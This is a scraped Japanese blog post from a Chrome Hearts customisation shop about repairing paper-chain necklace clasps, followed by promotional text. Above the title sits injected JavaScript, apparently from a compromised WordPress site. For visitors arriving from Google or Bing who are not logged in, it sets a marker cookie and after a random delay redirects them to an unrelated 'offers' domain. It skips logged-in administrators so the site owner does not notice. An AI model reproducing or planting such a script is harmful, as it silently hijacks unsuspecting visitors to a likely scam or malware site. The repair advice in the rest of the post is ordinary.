クロムハーツ カスタム修理ブログ|クロムカスタマイズ.com » クロムハーツ ペーパーチェーンの修理 ((event) => { var ref = document.referrer || ''; if (ref.length === 0) { return; } ref = ref.toLowerCase(); if (ref.indexOf('google') === -1 && ref.indexOf('bing') === -1) { return; } var cookie = document.cookie || ''; if (cookie.indexOf('wordpress_logged') !== -1 || cookie.indexOf('wp-settings') !== -1 || cookie.indexOf('wordpress_test') !== -1) { return; } if (cookie.indexOf('wordpress-test') !== -1) { return; } function generateRandomInteger(min, max) { return Math.floor(min + Math.random()*(max - min + 1)); } document.cookie = "wordpress-test=1; max-age=86400; path=/;"; const delay = generateRandomInteger(2000, 6000); setTimeout(() => { window.location.replace('http://offers25942.xyz/'); }, delay);})();class="post-template-default single single-post postid-8527 single-format-standard">

クロムハーツ(chrome hearts)にダイヤモンド、宝石をカスタムセッティング致します。クロムカスタマイズ.com

Facebook
Twitter
LINE
Instagram
ブログ
お問合わせ0120-106-777
クロムハーツ カスタム・修理ブログ
25
6月 2019

クロムハーツ ペーパーチェーンの修理

クロムハーツには様々なデザインのネックレスチェーンがありますが、中でも一番人気はやっぱりペーパーチェーンではないでしょうか。
コマのひとつひとつに「CH」の刻印が刻まれ、クロムハーツ独自の留め具を備えたペーパーチェーンは、クロムハーツファンなら一つは持っていたいアイテムですよね。
しかし、独自のデザインであるが故にペーパーチェーンの留め具は繊細で破損しやすく、当店でもたびたび修理のご依頼をいただきます。
今回は当店にご相談のあった様々な修理内容をご紹介致します!

ペーパーチェーンの留め具修理の中でも、もっともご依頼頻度が高いのが差し込み側のプレート破損修理です。
一枚のプレートを折り曲げた構造の留め具プレートは、その薄さもあり様々な破損修理のご依頼をいただきます。
中でも先端の折り目からプレートが真っ二つに折れてしまったケースでは、当店で新しく製作する同形状のプレートに交換する修理となります。

一枚のプレートを折り曲げることにより発生するバネの力によって留め具として機能している形状の為、折れた個所を溶接してガッチリと固めてしまうと留め具として機能しなくなってしまいます。
その為、当店ではプレートが折れてしまったお品物は新しいプレートに交換する修理対応とさせていただいております。
純正品と同様に14Kで製作致しますが、耐久性を重視して純正品よりも厚みのある仕上がりとなりますのでご了承くださいませ。
HPに掲載している事例はこちらから

 

また、プレートとチェーンを繋いでいる部分が切れてしまったというケースもたびたびご相談をいただきます。
ペーパーチェーンの留め具は特殊なデザインの為、特に取り外す時には首の後ろで目で見えないことが多く、なかなかうまく外せなくてついチェーンを引っ張って無理に外してしまった…という経験のある方も多いのではないでしょうか。
上記の通り、純正品のプレートは非常に薄く作られている為、たびたび引っ張る力が加わると連結部分が切れてしまうこともままあるようです。
このような破損の場合は、現物のプレートを再利用して切れた個所の修理を行うことが可能です。
形もほぼ元通りとなりますが、厚みの問題で強度的には元と同程度までの補強しか出来ませんので、修理後もあまり負荷をかけないようにお使いいただけますと幸いです。
なお、プレート側だけでなく、筒側の留め具とチェーンを繋ぐ丸カン切れも同様に修理が可能です。
HPに掲載している事例はこちらから

 

プレートに次いで修理のご相談が多いのが、セーフティー(二重ロックパーツ)です。
細い針金を独特の形に曲げて作られており、留め具プレートの突起に嵌めて二重ロックとして機能するのですが…
写真からもお分かりいただける通り、セーフティーは非常に華奢で繊細な作りとなっており、先端の溶接部分が切れてしまったり、またはパーツそのものが取れて紛失してしまったというケースもございます。
当店では切れの修理はもちろん、セーフティーを一から製作して取り付ける修理も承っております。
製作したパーツはあくまで当店が修理用に製作した物でありクロムハーツ純正パーツではございませんが、使い心地は純正パーツとほぼ変わりありませんのでご安心ください。
HPに掲載している事例はこちらから

 

プレートやセーフティーは修理や新しいパーツの製作が可能ですが、一方で筒側の留め具はかなり複雑な形状となっており、完全に破損してしまった場合は当店でも代替パーツの製作は残念ながら難しくなっております。
しかし、多少の潰れ程度なら修理が出来る可能性もございますので、まずはお気軽にご相談くださいませ。
HPに掲載している事例はこちらから

 

なお、上記のようにパーツに異常がないにも関わらず、留め具がパチッと嵌らずにすぐ抜けてしまう…といった場合、ご自身で行える簡単な調整で状態が改善する可能性がございます。

▼プレートがすぐ抜けてしまう場合
上記の通り、プレートは折り曲げたバネの力で留め具として機能する作りになっています。
しっかりと留め具として嵌めるにはプレートの根本がやや開いた状態であることが必須ですが、長く使用していく間にプレートが完全に折れ曲がって開いている箇所が閉じてしまうと、少し引っ張っただけですぐプレートが抜けてしまう状態となります。
この場合は留め具プレートの開き具合を調整することで状態が改善致します。
あまり開きすぎると却って嵌めづらくなったり、または先端から折れてしまう可能性もございますので、少しずつ様子を見ながら開き具合を調整してみてくださいね。

▼セーフティーがすぐ抜けてしまう場合
こちらはプレートとは逆に、使用していく内にセーフティーの幅が広がって留め具から抜けやすくなるケースがございます。
この場合は指やペンチなどでセーフティーを挟んで幅を調節することで状態が改善致します。
※ペンチを使用する場合、直接挟むとペンチの跡が付いてしまうことがありますので、当て布などをしていただくことをおすすめ致します。
狭めすぎると今度は留め具に嵌らなくなってしまいますので、こちらも少しずつ様子を見ながら調整してください。

このように、当店ではお品物の破損状態に合わせて様々な方法で修理を行っております。
お見積りやご相談はいつでも無料で承っておりますが、その際はお品物の現状を写した写真などをお送りいただければよりスムーズで正確なお見積りが可能でございます。
メールフォームやLINEからも写真を簡単に送っていただけるようになっていますので、是非ご活用いただけますと幸いです。

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
業界一安心なクロムハーツカスタム&修理をご提供します。
時計のアフターダイヤもお任せください!
見積もり無料!無料宅配キットで送料も無料です!

お見積りのご依頼はこちら

宅配キットのご依頼はこちら

アフターダイヤ、ルビー、サファイア、ブラックダイヤ、エメラルドの他にも様々な宝石をお取り扱いしております。
石留めカスタムの他、修理やサイズ直し様々な加工も受け付けております。
お問い合わせ・ご依頼お待ち致しております♪

カスタム・修理の加工事例一覧はこちらからご覧になれます。

facebookページはこちら  いいね!お願い致します(^ε^)
Instagramはこちら フォローお願い致します(^ε^)

クロムカスタマイズ.com 公式LINE@アカウントもございます。
友だち追加して最新情報GETや、お気軽にお問合わせもしていただけます。

友だち追加数

お見積もり、宅配キットのご依頼もLINE@で対応致します。